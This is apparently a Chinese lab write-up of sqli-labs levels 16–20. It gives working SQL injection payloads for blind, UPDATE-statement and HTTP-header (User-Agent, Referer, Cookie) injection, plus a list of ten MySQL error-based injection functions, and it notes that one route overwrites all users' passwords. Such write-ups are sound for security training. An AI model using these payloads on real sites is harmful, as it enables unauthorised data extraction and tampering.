Sqli-labs16-20 十种mysql报错注入语句
十六题 基于时间的布尔盲注 双引号
admin")#登陆成功
uname=") or length((select database()))=8 #&passwd=1
修改 payload直接之前的脚本跑
第十七题 更新查询报错
这个页面是密码重置页面
重置密码是更新操作
update users set password=xxx where username=xxx看下 源码
看到源码里面对 用户名进行了过滤
那么我们就对 密码进行操作
先查询 用户名，而且进行了过滤。查询到了对密码进行更新
只能对这个更新语句进行操作了。
闭合注释后面的话就会将所有用户的密码都更新了。
payload
uname=admin&passwd=a' or updatexml(1,concat(0x7e,(version())),0) #
还可以使用双注入等其他报错方法获取
uname=admin&passwd=123' AND (select 1 from (select count(*),(concat_ws(":",database(),floor(rand(0)*2)))name from information_schema.tables group by name)b) #
在 github看到了 注入天书这个 sqli的帮助文档
是说 密码加了单引号报错
报错的说 admin “” 附近错误
那就说对密码的处理是加的双引号
使用报错类型的盲注
或者 UpdateXml
参考：
https://www.waitalone.cn/mysql-error-based-injection.html
对mysql报错注入的一些整理
最直接的方法就是时间延迟注入了~
默认的php对所有的GET POST和COOKIE数据自动运行 adslashes()
在预定义字符之前加反斜杠的字符串
预定义字符：单引号、双引号、反斜杠、NULL
stripslashes() 这个函数是删除由 addslashes()增加的反斜杠
mysql_real_escape_string
又一波转义： \x00 \n \r ’ ” \x1a
第十八题 user-agent注入
登陆成功会输出 浏览器信息
看到 Your IP ADDRESS is xxx
那么差不多就是 http头注入了
代码中看到对 提交的用户名和密码都进行了过滤
尝试了 x-forwarded-for 不行,源码确实不是使用x-forwarded-for获取的IP
修改 user-agent
应该是将这个插入了数据库
insert 语句 插入到 values中闭合
没有什么信息回显，尝试报错注入
十种Mysql报错注入
https://www.cnblogs.com/wocalieshenmegui/p/5917967.html
insert into xxx value ('x','Recar' and 语句 and '1'='1 ','xxx')
要让好这个语句可以执行，闭合前面的单引号，后面还有单引号，但是不能直接注释。
可以在中间 and 一下语句。 使用 ‘1’=’1 来闭合后面的 单引号
报错，主要找到注入点。测试下。
18题的注入点就是
user-agent
https://www.cnblogs.com/wocalieshenmegui/p/5917967.html
1.floor()
select * from test where id=1 and (select 1 from (select count(*),concat(user(),floor(rand(0)*2))x from information_schema.tables group by x)a);
2.extractvalue()
select * from test where id=1 and (extractvalue(1,concat(0x7e,(select user()),0x7e)));
3.updatexml()
select * from test where id=1 and (updatexml(1,concat(0x7e,(select user()),0x7e),1));
4.geometrycollection()
select * from test where id=1 and geometrycollection((select * from(select * from(select user())a)b));
5.multipoint()
select * from test where id=1 and multipoint((select * from(select * from(select user())a)b));
6.polygon()
select * from test where id=1 and polygon((select * from(select * from(select user())a)b));
7.multipolygon()
select * from test where id=1 and multipolygon((select * from(select * from(select user())a)b));
8.linestring()
select * from test where id=1 and linestring((select * from(select * from(select user())a)b));
9.multilinestring()
select * from test where id=1 and multilinestring((select * from(select * from(select user())a)b));
10.exp()
select * from test where id=1 and exp(~(select * from(select user())a));
第十九题 refer注入
与 18题类似，将 refer回显了出来。
注入点应该就在这了。
payload
Referer: ' and (select 1 from (select count(*),concat(user(),floor(rand(0)*2))x from information_schema.tables group by x)a) and '1'='1
第二十题 Cookie注入
这画面
cookie注入
payload
Cookie: uname=admin' and (select 1 from (select count(*),concat(user(),floor(rand(0)*2))x from information_schema.tables group by x)a) and '1'='1